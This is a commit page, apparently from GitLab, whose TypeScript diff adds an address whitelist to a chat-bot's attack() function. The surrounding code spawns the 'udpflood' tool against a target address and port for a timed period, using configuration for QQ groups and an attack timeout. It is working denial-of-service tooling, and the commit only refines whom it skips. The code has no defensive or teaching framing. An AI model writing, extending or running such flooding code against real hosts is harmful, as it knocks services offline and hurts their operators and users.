Commit 9eea9b7d authored by nanahira's avatar nanahira

add whitelist

parent e453f459
......@@ -18,6 +18,7 @@ interface Config {
coolq: CoolQConfig;
floodQQGroups: Array<number>;
attackTimeout: number;
addressWhitelist: string[]
}
const log = bunyan.createLogger({
......@@ -33,6 +34,12 @@ function sleep(time: number): Promise<void> {
};
function attack(address: string, port: number): Promise<void> {
if (_.contains(config.addressWhitelist, address)) {
log.info(`Attack of ${address}:${port} skipped.`);
return new Promise((done) => {
done();
})
}
log.info(`Attack of ${address}:${port} started.`);
const attackProcess = spawn("udpflood", ["-t", address, "-p", port.toString()]);
setTimeout(() => {
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment